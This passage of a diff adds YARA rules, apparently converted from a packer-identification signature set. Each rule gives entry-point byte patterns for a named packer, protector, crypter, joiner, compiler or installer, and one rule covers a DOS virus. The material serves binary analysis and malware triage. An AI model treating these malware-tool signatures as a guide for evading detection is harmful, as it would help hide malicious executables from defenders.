+		$0 = {50 8B C6 87 04 24 68 ?? ?? ?? ?? 5E E9 ?? ?? ?? ?? 85 C8 E9 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 0F 81 ?? ?? ?? 00 81 FA ?? ?? ?? ?? 33 D0 E9 ?? ?? ?? 00 0F 8D ?? ?? ?? 00 81 D5 ?? ?? ?? ?? F7 D1 0B 15 ?? ?? ?? ?? C1 C2 ?? 81 C2 ?? ?? ?? ?? 9D E9 ?? ?? ?? ?? C1 E2 ?? C1 E8 ?? 81 EA ?? ?? ?? ?? 13 DA 81 E9 ?? ?? ?? ?? 87 04 24 8B C8 E9 ?? ?? ?? ?? 55 8B EC 83 C4 F8 89 45 FC 8B 45 FC 89 45 F8 8B 45 08 E9 ?? ?? ?? ?? 8B 45 E0 C6 00 00 FF 45 E4 E9 ?? ?? ?? ?? FF 45 E4 E9 ?? ?? ?? 00 F7 D3 0F 81 ?? ?? ?? ?? E9 ?? ?? ?? ?? 87 34 24 5E 8B 45 F4 E8 ?? ?? ?? 00 8B 45 F4 8B E5 5D C3 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _FishPE_V10X__hellfish__Sign_by_fly_
+{
+	meta:
+		description = "FishPE V1.0X -> hellfish ! Sign by fly"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 ?? ?? 00 00 ?? ?? ?? ?? 00 00 02 00 00 00 A0 00 00 18 01 00 00 ?? ?? ?? ?? 00 00 0C 00 00 00 B0 00 00 38 0A 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 C0 00 00 40 39 00 00 ?? ?? ?? ?? 00 00 08 00 00 00 00 01 00 C8 06 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Alex_Protector_10__Alex_
+{
+	meta:
+		description = "Alex Protector 1.0 -> Alex"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_v118_Basic_aPLib__Ap0x_
+{
+	meta:
+		description = "RLPack v1.18 Basic [aPLib] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXShit_v01__500mhz_
+{
+	meta:
+		description = "UPX-Shit v0.1 -> 500mhz"
+	strings:
+		$0 = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 01 ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79 20 5B 35 30 30 6D 68 7A 5D}
+		$1 = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79 20 5B 35 30 30 6D 68 7A 5D}
+		$2 = {E8 ?? ?? ?? ?? 5E 83 C6 ?? AD 89 C7 AD 89 C1 AD 30 07 47 E2 ?? AD FF E0 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ABC_Cryptor_10__by_ZloY_
+{
+	meta:
+		description = "ABC Cryptor 1.0 - by ZloY"
+	strings:
+		$0 = {68 FF 64 24 F0 68 58 58 58 58 90 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68 ?? ?? ?? ?? BF 00 ?? ?? ?? B9 00 ?? ?? ?? 80 37 ?? 47 39 CF 75 F8}
+	condition:
+		$0 at entrypoint
+}
+rule _PESHiELD_v02__v02b__v02b2_
+{
+	meta:
+		description = "PESHiELD v0.2 / v0.2b / v0.2b2"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXLock_v11__CyberDoom__Bob_
+{
+	meta:
+		description = "UPXLock v1.1 -> CyberDoom & Bob"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? 00 60}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v253b3_
+{
+	meta:
+		description = "Armadillo v2.53b3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 D8 ?? ?? ?? 68 14 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _RJoiner_12a__Vaska_
+{
+	meta:
+		description = "RJoiner 1.2a -> Vaska"
+	strings:
+		$0 = {55 8B EC 81 EC 0C 01 00 00 8D 85 F4 FE FF FF 56 50 68 04 01 00 00 FF 15 0C 10 40 00 94 90 94 8D 85 F4 FE FF FF 50 FF 15 08 10 40 00 94 90 94 BE 00 20 40 00 94 90 94 83 3E FF 74 7D 53 57 33 DB 8D 7E 04 94 90 94 53 68 80 00 00 00 6A 02 53 6A 01 68 00 00 00}
+		$1 = {55 8B EC 81 EC 0C 01 00 00 8D 85 F4 FE FF FF 56 50 68 04 01 00 00 FF 15 0C 10 40 00 94 90 94 8D 85 F4 FE FF FF 50 FF 15 08 10 40 00 94 90 94 BE 00 20 40 00 94 90 94 83 3E FF 74 7D 53 57 33 DB 8D 7E 04 94 90 94 53 68 80 00 00 00 6A 02 53 6A 01 68 00 00 00 C0 57 FF 15 04 10 40 00 89 45 F8 94 90 94 8B 06 8D 74 06 04 94 90 94 8D 45 FC 53 50 8D 46 04 FF 36 50 FF 75 F8 FF 15 00 10 40 00 94 90 94 FF 75 F8 FF 15 10 10 40 00 94 90 94 8D 85 F4 FE FF FF 6A 0A 50 53 57 68 20 10 40 00 53 FF 15 18 10 40 00 94 90 94 8B 06 8D 74 06 04 94 90 94 83 3E FF 75 89 5F 5B 33 C0 5E C9 C2 10 00 CC CC 24 11}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _USSR_V031__SpiritST__Sign_by_fly_
+{
+	meta:
+		description = "USSR V0.31 -> SpiritST ! Sign by fly"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 2E 55 53 53 52 00 00 00 00 10 00 00 ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _The_Norton_Antivirus_Information_file_
+{
+	meta:
+		description = "The Norton Antivirus Information file"
+	strings:
+		$0 = {54 68 65 20 4E 6F 72 74 6F 6E 20 41 6E 74 69 56 69 72 75 73 20 49 6E 66 6F 72 6D 61 74 69 6F 6E 20 46 69 6C 65}
+	condition:
+		$0
+}
+rule _nbuild_v10_soft_
+{
+	meta:
+		description = "nbuild v1.0 [soft"
+	strings:
+		$0 = {B9 ?? ?? BB ?? ?? C0 ?? ?? 80 ?? ?? 43 E2}
+	condition:
+		$0 at entrypoint
+}
+rule _hyings_PEArmor_V076__hying_
+{
+	meta:
+		description = "hying's PEArmor V0.76 -> hying"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A ?? E8 A3 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_5_10__Northfox_
+{
+	meta:
+		description = "MEW 5 1.0 -> Northfox"
+	strings:
+		$0 = {BE 5B 00 40 00 AD 91 AD 93 53 AD 96 56 5F AC C0 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V112V114_LZMA_430__ap0x__Sign_by_fly_
+{
+	meta:
+		description = "RLPack V1.12-V1.14 (LZMA 4.30) -> ap0x ! Sign by fly"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? 60}
+	condition:
+		$0 at entrypoint
+}
+rule _SDProtector_Pro_Edition_116__Randy_Li_h_
+{
+	meta:
+		description = "SDProtector Pro Edition 1.16 -> Randy Li (h)"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 18 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 93 03 00 00 03 C8 74 C4 75 C2 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _North_Star_PE_Shrinker_v13_by_Liuxingping_
+{
+	meta:
+		description = "North Star PE Shrinker v1.3 by Liuxingping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 73 ?? FF FF 8B 06 83 F8 00 74 11 8D B5 7F ?? FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 4F ?? FF FF 2B D0 89 95 4F ?? FF FF 01 95 67 ?? FF FF 8D B5 83 ?? FF FF 01 16 8B 36 8B FD 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 A3 ?? FF FF 85 C0 0F 84 06 03 00 00 89 85 63 ?? FF FF E8 00 00 00 00 5B B9 31 89 40 00 81 E9 2E 86 40 00 03 D9 50 53 E8 3D 02 00 00 61 03 BD 47 ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 A7 ?? FF FF FF B5 A3 ?? FF FF 56 57 FF 95 63 ?? FF FF 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB CE 68 00 80 00 00 6A 00 FF B5 63 ?? FF FF FF 95 A7 ?? FF FF 8D}
+	condition:
+		$0
+}
+rule _SimbiOZ__Extranger_
+{
+	meta:
+		description = "SimbiOZ -> Extranger"
+	strings:
+		$0 = {50 60 E8 00 00 00 00 5D 81 ED 07 10 40 00 68 80 0B 00 00 8D 85 1F 10 40 00 50 E8 84 0B 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Stelth_PE_101_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Ste@lth PE 1.01]"
+	strings:
+		$0 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 BA ?? ?? ?? ?? FF E2 BA E0 10 40 00 B8 68 24 1A 40 89 02 83 C2 03 B8 40 00 E8 EE 89 02 83 C2 FD FF E2 2D 3D 5B 20 48 69 64 65 50 45 20 5D 3D 2D 90 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_151__GlOFF_
+{
+	meta:
+		description = "FreeJoiner 1.5.1 -> GlOFF"
+	strings:
+		$0 = {90 87 FF 90 90 B9 2B 00 00 00 BA 07 10 40 00 83 C2 03 90 87 FF 90 90 B9 04 00 00 00 90 87 FF 90 33 C9 C7 05 09 30 40 00 00 00 00 00 68 00 01 00 00 68 21 30 40 00 6A 00 E8 B7 02 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 21 30 40 00 E8 8F 02 00 00 A3 19 30 40 00 90 87 FF 90 8B 15 09 30 40 00 81 C2 04 01 00 00 F7 DA 6A 02 6A 00 52}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_packer_04_
+{
+	meta:
+		description = "Unknown packer (04)"
+	strings:
+		$0 = {BC ?? ?? C3 2E FF 2E ?? ?? CF}
+	condition:
+		$0 at entrypoint
+}
+rule _ARCSFX_Archive_
+{
+	meta:
+		description = "ARC-SFX Archive"
+	strings:
+		$0 = {8C C8 8C DB 8E D8 8E C0 89 ?? ?? ?? 2B C3 A3 ?? ?? 89 ?? ?? ?? BE ?? ?? B9 ?? ?? BF ?? ?? BA ?? ?? FC AC 32 C2 8A D8}
+	condition:
+		$0 at entrypoint
+}
+rule _hmimys_Protect_v10_
+{
+	meta:
+		description = "hmimys Protect v1.0"
+	strings:
+		$0 = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+		$1 = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00 AD 8B DE 8B F0 83 C3 44 AD 85 C0 74 32 8B F8 56 FF 13 8B E8 AC 84 C0 75 FB AC 84 C0 74 EA 4E AD A9 00 00 00}
+		$2 = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00 AD 8B DE 8B F0 83 C3 44 AD 85 C0 74 32 8B F8 56 FF 13 8B E8 AC 84 C0 75 FB AC 84 C0 74 EA 4E AD A9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Software_Compress__BG_Software_
+{
+	meta:
+		description = "Software Compress -> BG Software"
+	strings:
+		$0 = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8}
+		$1 = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 1A 0F 41 00 89 44 24 1C 61 C2 04 00 E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24 8B 04 24 89 85 2A 0F 41 00 58 8B 85 2A 0F 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_CrunchPE_Heuristic_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Crunch/PE Heuristic]"
+	strings:
+		$0 = {55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v60_
+{
+	meta:
+		description = "Microsoft Visual C++ v6.0"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57}
+		$1 = {55 8B EC 83 EC 50 53 56 57 BE ?? ?? ?? ?? 8D 7D F4 A5 A5 66 A5 8B}
+		$2 = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC ?? 53 56 57 89 65 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF}
+	condition:
+		$0 or $1 at entrypoint or $2
+}
+rule _Nakedbind_10__nakedcrew_
+{
+	meta:
+		description = "Nakedbind 1.0 -> nakedcrew"
+	strings:
+		$0 = {64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B 4D 5A 74 08 81 EB 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASDPack_20__asd_
+{
+	meta:
+		description = "ASDPack 2.0 -> asd"
+	strings:
+		$0 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8D 49 00 1F 01 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 90}
+		$1 = {5B 43 83 7B 74 00 0F 84 08 00 00 00 89 43 14 E9}
+		$2 = {8B 44 24 04 56 57 53 E8 CD 01 00 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00}
+	condition:
+		$0 or $1 or $2 at entrypoint
+}
+rule _iPBProtect_013_
+{
+	meta:
+		description = "iPBProtect 0.1.3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 FA 33 DB 89 5D F8 6A 02 EB 01 F8 58 5F 5E 5B 64 8B 25 00 00 00 00 64 8F 05 00 00 00 00 58 58 58 5D 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78}
+	condition:
+		$0
+}
+rule _tElock_v092a_
+{
+	meta:
+		description = "tElock v0.92a"
+	strings:
+		$0 = {E9 7E E9 FF FF 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DxPack_V086__Dxd_
+{
+	meta:
+		description = "DxPack V0.86 -> Dxd"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 8B FD 81 ED 06 10 40 00 2B BD 94 12 40 00 81 EF 06 00 00 00 83 BD 14 13 40 00 01 0F 84 2F 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _InstallShield_3x_Custom_
+{
+	meta:
+		description = "InstallShield 3.x Custom"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 00 A0 40 00 68 34 76 40 00 50 64 89 25 00 00 00 00 83 EC 60 53 56 57 89 65 E8 FF 15 8C E3 40 00 A3 70 B1 40 00 33 C0 A0 71 B1 40 00 A3 7C B1 40 00 A1 70 B1}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_ASPack_211d__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake ASPack 2.11d) -> emadicius (h)"
+	strings:
+		$0 = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_099_
+{
+	meta:
+		description = "tElock 0.99"
+	strings:
+		$0 = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 02 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? 02 00 00}
+	condition:
+		$0
+}
+rule _Armadillo_v251_
+{
+	meta:
+		description = "Armadillo v2.51"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v261_
+{
+	meta:
+		description = "Armadillo v2.61"
+	strings:
+		$0 = {55 8B EC 6A FF 68 28 ?? ?? ?? 68 E4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_R_Incremental_Linker_Version_5128078_MASMTASM_
+{
+	meta:
+		description = "Microsoft (R) Incremental Linker Version 5.12.8078 (MASM/TASM)"
+	strings:
+		$0 = {6A 00 68 00 30 40 00 68 1E 30 40 00 6A 00 E8 0D 00 00 00 6A 00 E8 00 00 00 00 FF 25 00 20 40 00 FF 25 08 20 40}
+	condition:
+		$0
+}
+rule _Vx_Modification_of_Hi924_
+{
+	meta:
+		description = "Vx: Modification of Hi.924"
+	strings:
+		$0 = {50 53 51 52 1E 06 9C B8 21 35 CD 21 53 BB ?? ?? 26 ?? ?? 49 48 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v304betav306v307_
+{
+	meta:
+		description = "Inno Setup Module v3.0.4-beta/v3.0.6/v3.0.7"
+	strings:
+		$0 = {55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 B3 70 FF FF E8 1A 85 FF FF E8 25 A7 FF FF E8 6C}
+	condition:
+		$0
+}
+rule _ZCode_Win32PE_Protector_v101_
+{
+	meta:
+		description = "ZCode Win32/PE Protector v1.01"
+	strings:
+		$0 = {E9 12 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 FB FF FF FF C3 68 ?? ?? ?? ?? 64 FF 35}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_4__BitArts_
+{
+	meta:
+		description = "Crunch 4 -> Bit-Arts"
+	strings:
+		$0 = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v123_RC4_build_0807_exe__Alexey_Solodovnikov_h_
+{
+	meta:
+		description = "ASProtect v1.23 RC4 build 08.07 (exe) -> Alexey Solodovnikov (h)"
+	strings:
+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+	condition:
+		$0
+}
+rule _ASPack_v107b_
+{
+	meta:
+		description = "ASPack v1.07b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 0B DE ?? 89 85 17 DE ?? ?? 80 BD 01 DE}
+		$1 = {90 90 90 75 ?? E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _hmimyss_PEPack_01__hmimys_
+{
+	meta:
+		description = "hmimys's PE-Pack 0.1 -> hmimys"
+	strings:
+		$0 = {E8 00 00 00 00 5D 83 ED 05 6A 00 FF 95 E1 0E 00 00 89 85 85 0E 00 00 8B 58 3C 03 D8 81 C3 F8 00 00 00 80 AD 89 0E 00 00 01 89 9D 63 0F 00 00 8B 4B 0C 03 8D 85 0E 00 00 8B 53 08 80 BD 89 0E 00 00 00 75 0C 03 8D 91 0E 00 00 2B 95 91 0E 00 00 89 8D 57 0F 00}
+		$1 = {E8 00 00 00 00 5D 83 ED 05 6A 00 FF 95 E1 0E 00 00 89 85 85 0E 00 00 8B 58 3C 03 D8 81 C3 F8 00 00 00 80 AD 89 0E 00 00 01 89 9D 63 0F 00 00 8B 4B 0C 03 8D 85 0E 00 00 8B 53 08 80 BD 89 0E 00 00 00 75 0C 03 8D 91 0E 00 00 2B 95 91 0E 00 00 89 8D 57 0F 00 00 89 95 5B 0F 00 00 8B 5B 10 89 9D 5F 0F 00 00 8B 9D 5F 0F 00 00 8B 85 57 0F 00 00 53 50 E8 B7 0B 00 00 89 85 73 0F 00 00 6A 04 68 00 10 00 00 50 6A 00 FF 95 E9 0E 00 00 89 85 6B 0F 00 00 6A 04 68 00 10 00 00 68 D8 7C 00 00 6A 00 FF 95 E9 0E 00 00 89 85 6F 0F 00 00 8D 85 67 0F 00 00 8B 9D 73 0F 00 00 8B 8D 6B 0F 00 00 8B 95 5B 0F 00 00 83 EA 0E 8B B5 57 0F 00 00 83 C6 0E 8B BD 6F 0F 00 00 50 53 51 52 56 68 D8 7C 00 00 57 E8 01 01 00 00 8B 9D 57 0F 00 00 8B 03 3C 01 75}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MS_RunTime_Library_OS2__FORTRAN_Compiler_1989_
+{
+	meta:
+		description = "MS Run-Time Library (OS/2) & FORTRAN Compiler 1989"
+	strings:
